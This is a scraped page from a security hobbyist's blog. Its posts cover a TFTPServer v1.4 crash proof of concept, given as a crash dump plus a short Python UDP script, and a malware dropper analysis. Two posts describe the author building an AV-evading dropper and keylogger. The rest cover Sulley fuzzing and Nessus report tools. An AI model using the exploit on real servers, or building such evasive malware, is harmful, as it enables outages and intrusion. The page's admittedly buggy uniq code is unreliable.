TFTPServer v1.4 DOS POC

Posted by Eric | Code, POC, Vulnerabilities, exploits | Tuesday 23 December 2008 12:15 am

Running out of time to play with this bug, still need to pack for my flight early tmw morning. Code at the bottom results in a DOS. I fiddled a little with the POC but throwing that much data at it does not seem to do anything, almost as if the program is just dropping it. It’s also possible my VM’s are screwed up! Meh, I’m heading to a warmer climate! Peace out!

msvcrt.dll:77c483b7 mov ah,[edi] from thread 340 caused access violation
when attempting to read from 0x41414141
 
CONTEXT DUMP
  EIP: 77c483b7 mov ah,[edi]
  EAX: 77c5f76e (2009462638) -> N/A
  EBX: 77c5f7a0 (2009462688) -> N/A
  ECX: 77c33493 (2009281683) -> N/A
  EDX: 77c61b18 (2009471768) -> N/A
  EDI: 41414141 (1094795585) -> N/A
  ESI: 00409243 (   4231747) -> N/A
  EBP: 00aef788 (  11466632) -> N/A
  ESP: 00aef77c (  11466620) -> w'=$}bwAAAAB@dz@AAAAB@<.@AAAAB@TdX.|t (stack)
  +00: 77c5f7a0 (2009462688) -> N/A
  +04: 003d27d0 (   4007888) -> Tl @wwos===C:\WINDOWSE" (heap)
  +08: 0024bc80 (   2407552) -> $Tq CKM@c$ (heap)
  +0c: 00aef7a0 (  11466656) -> dz@AAAAB@<.@AAAAB@TdX.|t (stack)
  +10: 77c4627d (2009358973) -> N/A
  +14: 41414141 (1094795585) -> N/A
 
disasm around:
	0x77c483a4 push esi
	0x77c483a5 push ebx
	0x77c483a6 mov esi,[ebp+0xc]
	0x77c483a9 mov edi,[ebp+0x8]
	0x77c483ac mov al,0xff
	0x77c483ae mov edi,edi
	0x77c483b0 or al,al
	0x77c483b2 jz 0x77c483e2
	0x77c483b4 mov al,[esi]
	0x77c483b6 inc esi
	0x77c483b7 mov ah,[edi]
	0x77c483b9 inc edi
	0x77c483ba cmp ah,al
	0x77c483bc jz 0x77c483b0
	0x77c483be sub al,0x41
	0x77c483c0 cmp al,0x1a
	0x77c483c2 sbb cl,cl
	0x77c483c4 and cl,0x20
	0x77c483c7 add al,cl
	0x77c483c9 add al,0x41
	0x77c483cb xchg al,ah
#/usr/bin/env python
 
import socket,sys
 
host = sys.argv[1]
port = 69
 
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.connect((host,port))
 
data  = "\x00\x01" #  1     Read request (RRQ)
data += "A" * 242 #overwrite EDI
data += "B" * 4 # EDI VALUE
data += "\x00"
data += "\x6e\x65\x74\x61\x73\x63\x69\x69\x00" #tftp protocol trailing crap mostly to make wireshark happy
sock.sendall(data)

Malware Dropper

Posted by Eric | Code, Research, Reversing | Friday 11 July 2008 12:08 am

A while back dean sent me some malware that he had been collecting off client systems. He didn’t ask me to do an analysis on them but I started doing it anyway. The first aspect of this malware was a delivery system that actually got some type of client side execution on the system.

The delivery has three aspects of it and is served via javascript.

First in the event javascript is disabled the visited page displays a link for the user to click. The title simply says “Please download”. If javascript works, it attempts to a function in MDAC by creating and ADODB stream and downloading the file. The file downloaded is then named svchosts.exe, and the shellexecute function is called with the svchosts.exe file name passed to it. On a Linux machine, an automatic save box is displayed within about 10 seconds. An example of the javascript decoded by dean can be found here. WARNING – It is set up to automatically download and launch a file called video.exe. I have copied a safe version of calc.exe to the web root so don’t get your pants in a bunch when it either launches, or attempts to downoad… If it does launch, you need to 1) stop using windows/internet explorer and 2) patch your system.

Dean was able to pull a copy of video1.exe from the server hosting this piece of malware. I took a look at it for analysis a few day’s ago. Initial tests for packing came up empty, but it would seem there is slight obfuscation in the code. There are many places where analysis fails, there are absolutely no strings, and some of the code seems to jump around to non existent addresses. I am still attempting to identify what type of encryption/packer was used on the code to optimize my disassembly. Until then I have barely any strings and only a few imports.

The few imports I do have lead me to recreate the file video1.exe. All of the imports came from Wininet which is the windows API for internet data. I set about researching a few of the api’s and pieceing together the logic and code behind video1.exe. I’ve concluded that it downloads and executes a file from another place using the functions in Wininet. Further preparing my infrastructure for penetration testing I wanted to create my own dropper for custom trojans and thinks beyond meterpreter.exe. I wanted something that would not be flagged by Anti Virus and that I can keep relatively small.

What I did was create Droplet. I finished the code last night and It’s pretty light weight. I did not encorporate any of the ftpGetFile, or Gopher functions from Wininet. I simply wanted a file dropper that would download code, copy it to a file and then execute it.

The basic flow of the program is

InternetOpen
InternetConnect
HttpOpenRequest
HttpAddRequestHeaders
HttpQueryInfo
HttpSendRequest
Either InternetReadFile or URLDownloadToFile

From this point if you are using InternetReadFile you can use the Windows API to create the file and copy the data too. I’m still working bugs out with this method.

URLDownloadToFile seems to be the better choice since it is designed to copy the data to a file instead of to a buffer. I think I might head out to the river this weekend but I’m hoping to have some time that I can play with the FTP Functions inside WinInet.

Anyway, Malware Analysis is pretty cool because you can learn how people smarter than you carry out nefarious biddings. Hopefully you learn from it and you can either apply it to your penetration testing, or for your own biddings!

-E

Hooks don’t play well with others

Posted by Eric | Code, Win32 Programming | Wednesday 2 April 2008 9:02 am

<meta name="GENERATOR" content="OpenOffice.org 2.0 (Linux)" /><meta name="CREATED" content="20080402;7434300" /><meta name="CHANGED" content="16010101;0" /><br /> <style> <!-- @page { size: 8.5in 11in; margin: 0.79in } P { margin-bottom: 0.08in } --> </style> <p style="margin-bottom: 0in">Last night I spent a few hours hacking at some c code in an attempt to make two things.</p> <p style="margin-bottom: 0in"> <p style="margin-bottom: 0in">First, a Keylogger that doesn’t flag with AV and that uses minimul hooking, basically staying in UserLand.</p> <p style="margin-bottom: 0in">Second, A little utility I’m calling tigger. The concept behind Tigger is sort of like pivot from Metasploit. Take traffic in one side and throw it out the other. To visualize this:</p> <p style="margin-bottom: 0in"> <p style="margin-bottom: 0in"> <p style="margin-bottom: 0in">Source -> Tigger Server -> Target.</p> <p style="margin-bottom: 0in"> <p style="margin-bottom: 0in">Ideally, Tigger could and will be used for something along the lines of DMZ hopping, or just hoping traffic around inside of a network in order to avoid burning your original point of access.</p> <p style="margin-bottom: 0in"> <p style="margin-bottom: 0in"> <p style="margin-bottom: 0in">I ran into a problem with the Keylogger however, when I went to Compile I got a compilation error stating KBDLLHOOKSTRUCT was undefined. After googling I only received two results, the one mentions to define a preprocessor, or add a preprocessor into the project properties. After adding the following line:</p> <p style="margin-bottom: 0in"> <p style="margin-bottom: 0in">#define _WIN32_WINNT 0×401</p> <p style="margin-bottom: 0in"> <p style="margin-bottom: 0in">Everything compiles just fine. The problem however, presents itself when you run the keylogger. Everything seems to be hooking correctly, but when you let it go, and type things in it doesn’t seem to log. Any one with more win32 experience have a reason why making the preprocessor declaration would allow me to compile, but somewhere hinder the functionality of the hooks?</p> <p> <!-- Begin Google Adsense code --> <script type="text/javascript"><!-- google_ad_client = "pub-9774791470740882"; google_ad_width = 468; google_ad_height = 60; google_ad_format = "468x60_as"; google_ad_type = "text_image"; google_ad_channel =""; //--></script> <script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script> <!-- End Google Adsense code --> </p> </div> <div class="feedback"> <a href="http://hamsterswheel.com/techblog/?p=56#respond" title="Comment on Hooks don’t play well with others">Comments (0)</a> </div> </div> <div class="post"> <h2 id="post-54"><a href="http://hamsterswheel.com/techblog/?p=54" rel="bookmark">Python Uniq</a></h2> <div class="meta">Posted by Eric | <a href="http://hamsterswheel.com/techblog/?cat=5" title="View all posts in Code" rel="category">Code</a>, <a href="http://hamsterswheel.com/techblog/?cat=16" title="View all posts in Python" rel="category">Python</a> | Wednesday 26 March 2008 1:49 pm </div> <div class="storycontent"> <p><meta content="text/html; charset=utf-8" http-equiv="CONTENT-TYPE" /><title /><meta content="OpenOffice.org 2.0 (Linux)" name="GENERATOR" /><meta content="20080326;12392200" name="CREATED" /><meta content="16010101;0" name="CHANGED" /><br /> <style> <!-- @page { size: 8.5in 11in; margin: 0.79in } P { margin-bottom: 0.08in } --> </style> <p style="margin-bottom: 0in">Python doesn’t have a Uniq for lists, or anything. My problem was, I had a huge text file that I was going through and my regular expression was picking up multiple instances of the same thing. What was happening was I would get 80+ items in a list, which were for the most part nothing but repetitive. I found an example of making your own unique in the python cookbook, but it didn’t work out right for me. When I ran it through the unique function it would either 1) spit back out an empty list, or 2) would spit back out the same think I put in, minus one item. I ended up writing up the following code, which is largely inefficient, but it ended up working. It will throw exceptions based on IndexError and ValueError so I had to place it in a try block. It will also repeat the first item usually. But hey, I can deal with having the first two elements in the returns array being the same, I no longer have 80 elements coming back that are exactly the same!</p> <p style="margin-bottom: 0in"> <p style="margin-bottom: 0in">I’d love feedback if anyone has a better solution, Always looking for code optimization <img src='http://hamsterswheel.com/techblog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p> <p style="margin-bottom: 0in"> <blockquote> <p style="margin-bottom: 0in">def unique(self,values):<br /> #pass in a list()<br /> if len(values) == 0:<br /> print “something wrong in dixieland”<br /> sys.exit()<br /> else:<br /> t = values<br /> t.sort()<br /> u = list()</p> <p>i = 0</p> <p>try:<br /> ret = cmp(t[0], t[1])<br /> if ( ret == 0):<br /> u.append(t[0])<br /> while 1:<br /> ret = cmp(t[i], t[i+1])<br /> if ret !=0:<br /> u.append(t[i])<br /> else:<br /> pass<br /> i+=1<br /> except ValueError:<br /> pass</p> <p>except IndexError:<br /> pass</p> <p>return u</p></blockquote> </div> <div class="feedback"> <a href="http://hamsterswheel.com/techblog/?p=54#comments" title="Comment on Python Uniq">Comments (5)</a> </div> </div> <div class="post"> <h2 id="post-53"><a href="http://hamsterswheel.com/techblog/?p=53" rel="bookmark">Sulley Auth, Data Gen, Imap CRASH BANG!</a></h2> <div class="meta">Posted by Eric | <a href="http://hamsterswheel.com/techblog/?cat=5" title="View all posts in Code" rel="category">Code</a>, <a href="http://hamsterswheel.com/techblog/?cat=15" title="View all posts in Fuzzing" rel="category">Fuzzing</a> | Friday 21 March 2008 11:37 am </div> <div class="storycontent"> <p class="MsoNormal">There sure have been quite a few IMAP Vulnerabilities published the last few weeks. It’s interesting, a certain protocol will be attacked; go away for a while, then someone will hit a whole bunch of applications. With that I figured I’d get my sulley request for IMAP working.</p> <p class="MsoNormal"> <p class="MsoNormal">First, Something I found while browsing around for POST Authentication guidance on the internet. If for some reason or another you have the desire to view the exact strings Sulley is creating to Fuzz your protocol with, you can do this pretty easily.</p> <p class="MsoNormal"> <p class="MsoNormal">Simply create a new python script just as you would if you were creating a fuzz script. Instead of creating a target, and starting a session and all that you can simply create a for loop and call s_render() like so:</p> <p class="MsoNormal"><code /></p> <p class="MsoNormal"> <p class="MsoNormal"> <p class="MsoNormal"><code /></p> <blockquote> <p class="MsoNormal">bleh = s_get("imap_simple")</p> <p class="MsoNormal">for i in range(bleh.names["blockname"].num_mutations()):</p> <p class="MsoNormal">print "%i" %i</p> <p class="MsoNormal">print(s_render())</p> <p class="MsoNormal">s_mutate()</p> </blockquote> <p class="MsoNormal"> <p class="MsoNormal"> <p class="MsoNormal"> <p class="MsoNormal">The reason I have a print “%i” % I in there is because I have actually been fuzzing embedded devices lately. Unless you have a JTAG debugger, or there is some type of integrated debugger on the device It’s hard to tell what’s going on. When you run Sulley without defining the vm_control, the proc_mon, or net_mon Sulley may crap out at some point, and it will state something along the lines of “Cannot connect, no vmcontrol waiting 5 minutes.” You can actually take the last number that Sulley Transmitted and start working from there.</p> <p class="MsoNormal"> <p class="MsoNormal">So, with IMAP you need to authentic to the IMAP server in order to get some of the latest Vulns being published (LSUB, FETCH, LIST). This means we are back into the same boat about authentication as I was last week. Well, I think I actually figured out how to take care of it. It’s an integration of some stuff that Tebo sent me, and some stuff from my LPR Request from Gray Hat Hacking SE which uses dependencies.</p> <p class="MsoNormal"> <p class="MsoNormal">What I did was really half assed, but it seemed to work and it got me some exceptions. What I basically did was from the LPR stuff I used the s_group() to create a list of commands, the thing was it only has one actual command, which is a long string to take care of the authentication sequence. It seemed to work though:</p> <p class="MsoNormal"><code /></p> <blockquote> <p class="MsoNormal">s_group('command', values=['0001 LOGIN bleh BLEH',])</p> </blockquote> <p class="MsoNormal"> <p class="MsoNormal">From there on out, when you define a new block you tell the block to be dependent on the command group. (I should probably change the name of that)</p> <p class="MsoNormal"> <p class="MsoNormal"><code /></p> <blockquote> <p class="MsoNormal">if s_block_start("list", dep="command"):</p> <p class="MsoNormal">s_string("a003")</p> <p class="MsoNormal">s_delim(" ")</p> <p class="MsoNormal">s_string("LIST \"")</p> <p class="MsoNormal">s_delim("")</p> <p class="MsoNormal">s_string("\" ")</p> <p class="MsoNormal">s_string("*")</p> <p class="MsoNormal">s_static("\r\n")</p> <p class="MsoNormal">s_block_end()</p> </blockquote> <p class="MsoNormal"> <p class="MsoNormal"> <p class="MsoNormal">I also ran into something that pissed me off. With both IMAP and FTP Requests they can be rather large. Since in some cases I’m re writing the spk files from Dave Aitels SPIKE, they are really long. I ran into an instance where Python was generating the Fuzz Strings for my requests before running but there actually so many string declarations that it would result in a Memory error and crap out. What I ended up doing was cutting my Imap request down from every block for every command, to about 4 blocks or 4 commands at a time. A few blocks required additional editing which I wasn’t happy about because there was certain field’s I wanted to play with. Oh well, Imap <a href="http://www.hamsterswheel.com/code/sulley/imap.py">Request here</a>.</p> </div> <div class="feedback"> <a href="http://hamsterswheel.com/techblog/?p=53#comments" title="Comment on Sulley Auth, Data Gen, Imap CRASH BANG!">Comments (3)</a> </div> </div> <div class="post"> <h2 id="post-32"><a href="http://hamsterswheel.com/techblog/?p=32" rel="bookmark">Nessus Reports</a></h2> <div class="meta">Posted by Eric | <a href="http://hamsterswheel.com/techblog/?cat=5" title="View all posts in Code" rel="category">Code</a> | Sunday 18 November 2007 4:07 am </div> <div class="storycontent"> <p>We got the data into the database via the nbe parser (which btw I posted a <a href="http://www.hamsterswheel.com/code/nbeparser-0.2.rb">new version </a>which will grab the risk factor from the msg field.)</p> <p>Taking that data, we want some type of report. Nessus itself gives us a report but it’s kind of a pain in the ass to read, their html report is the nicest one but I keep forgetting where I was. I guess <a href="http://ggee.org">Garrett Gee</a> has a similar problem he put together similar tools for the same reasons. Of course, that doesnt help me take advantage of the kick ass features in ruby (sorry garrett <img src='http://hamsterswheel.com/techblog/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> )</p> <p>Anyway, I’ve posted up three ruby files they are:</p> <p><a href="http://www.hamsterswheel.com/code/reportsummary.rb"> Reportsummary</a></p> <p><a href="http://www.hamsterswheel.com/code/topvuln.rb">Topvuln</a></p> <p><a href="http://www.hamsterswheel.com/code/vulnreport.rb">vulnreport </a></p> <p>The report summary you will need to go in and change a lot of stuff within the text, this is basically the generic text found in every one of my reports. From there on out, I go in and highlight their positives and negatives a little bit more in depth, but that is never generic enough to put into a template.</p> <p>The topvuln is used to generate a small nessus report of just Critical and High risk factor vulnerabilities,  This allows me to actually print and hand data to a customer that wont kill a small forrest in a third world country. Depending on how many there are it can take up some paper though!</p> <p>vulnreport – simply takes care of the rest of the data, it will itemize the data from Medium to none and cover the uncategorized items as well (my parser isnt perfect.) Anyhow, heres the code and stuff, you will need <a href="http://tmtm.org/en/ruby/mysql/ruby-mysql-0.2.6.tar.gz">ruby-mysql</a> and <a href="http://rubyforge.org/frs/?group_id=81">pdf/writer.</a></p> <p>hope this is of help to someone, if you have any suggestions let me know</p> <p>-<a href="mailto:emh@hamsterswheel.com">Phn1x </a></p> </div> <div class="feedback"> <a href="http://hamsterswheel.com/techblog/?p=32#comments" title="Comment on Nessus Reports">Comments (1)</a> </div> </div> <div class="post"> <h2 id="post-31"><a href="http://hamsterswheel.com/techblog/?p=31" rel="bookmark">Nessus Data Parser</a></h2> <div class="meta">Posted by Eric | <a href="http://hamsterswheel.com/techblog/?cat=5" title="View all posts in Code" rel="category">Code</a> | Saturday 10 November 2007 11:10 pm </div> <div class="storycontent"> <p>So I’ve been doing a lot of consulting lately on the side and one of<br /> the things that irritates me about nessus is the way in which you get<br /> data. It’s kind of unmanageable, how am I supposed to sort it and<br /> analyize the data? Well, Databases are awesome! I’m currently<br /> undergoing a personal project to create a visual basic front end that<br /> will connect to an MS Access database which in turn will become a<br /> customer database and front end.</p> <p>As part of the process, I take my nbe file and load it into a parser,<br /> I create tables in mysql and parse the data in. There are currently a<br /> few solutions for this such as Nessquick, php-nessus et cetera, but<br /> who needs those! So I created my own parser! I’m still working on my<br /> front end and MS Access db but that’s another time.</p> <p>You will need:</p> <p>ruby<br /> nessus<br /> mysql<br /> ruby-mysql (<a target="_blank" href="http://www.tmtm.org/en/mysql/ruby/">http://www.tmtm.org/en/mysql/ruby/</a>)<br /> The code can be found at</p> <p><a href="http://hamsterswheel.com/code/nbeparser.rb">http://hamsterswheel.com/code/nbeparser.rb</a></p> <p>There is a usage statement, but be sure to open it up. In one of the<br /> methods I have hard coded variables you will need to change to reflect<br /> your own nessus server. From here you can go in and create scripts to<br /> query the database, or create your own front end.</p> <p>The schema consists of 3 tables<br /> plugins<br /> results<br /> timestamps</p> <p>mysql> desc plugins;<br /> +————-+—————</p> <div class="ArwC7c ckChnd" id="1fk6">—+——+—–+———+——-+<br /> | Field       | Type             | Null | Key | Default | Extra |<br /> +————-+——————+——+—–+———+——-+<br /> | id          | int(10) unsigned | NO   | PRI |         |       |<br /> | name        | varchar(255)     | YES  |     | NULL    |       |<br /> | family      | varchar(255)     | YES  |     | NULL    |       |<br /> | category    | varchar(40)      | YES  |     | NULL    |       |<br /> | copyright   | varchar(255)     | YES  |     | NULL    |       |<br /> | summary     | varchar(255)     | YES  |     | NULL    |       |<br /> | description | varchar(255)     | YES  |     | NULL    |       |<br /> | version     | varchar(255)     | YES  |     | NULL    |       |<br /> | cve         | varchar(40)      | YES  |     | NULL    |       |<br /> | bid         | varchar(40)      | YES  |     | NULL    |       |<br /> | xref        | varchar(40)      | YES  |     | NULL    |       |<br /> +————-+——————+——+—–+———+——-+<br /> 11 rows in set (0.00 sec)</p> <p>mysql> desc results;<br /> +———-+————-+——+—–+———+—————-+<br /> | Field    | Type        | Null | Key | Default | Extra          |<br /> +———-+————-+——+—–+———+—————-+<br /> | id       | int(11)     | NO   | PRI | NULL    | auto_increment |<br /> | domain   | varchar(40) | NO   |     |         |                |<br /> | host     | varchar(40) | NO   | MUL |         |                |<br /> | service  | varchar(40) | NO   |     |         |                |<br /> | scriptid | smallint(5) | YES  |     | NULL    |                |<br /> | riskval  | varchar(40) | YES  |     |         |                |<br /> | msg      | text        | YES  |     | NULL    |                |<br /> +———-+————-+——+—–+———+—————-+<br /> 7 rows in set (0.00 sec)</p> <p>mysql> desc timestamps;<br /> +———–+————-+——+—–+———————+—————-+<br /> | Field     | Type        | Null | Key | Default             | Extra          |<br /> +———–+————-+——+—–+———————+—————-+<br /> | id        | int(11)     | NO   | PRI | NULL                | auto_increment |<br /> | host      | varchar(40) | NO   | MUL |                     |                |<br /> | progress  | varchar(40) | NO   |     |                     |                |<br /> | timestamp | varchar(40) | YES  |     | 0000-00-00 00:00:00 |                |<br /> +———–+————-+——+—–+———————+—————-+<br /> 4 rows in set (0.00 sec)</p></div> </div> <div class="feedback"> <a href="http://hamsterswheel.com/techblog/?p=31#comments" title="Comment on Nessus Data Parser">Comments (1)</a> </div> </div> </div> <div id="footer"> © Copyright 2009 | <a href="http://hamsterswheel.com/techblog">Phn1x – Hamsterswheel</a> | Theme by <a href="http://clubparexcellancetech.com/">Club Par Excellance</a> | All Rights Reserved | Sponsored by <a href="http://www.voipkit.ca/">VoIP</a> </div> </body> </html>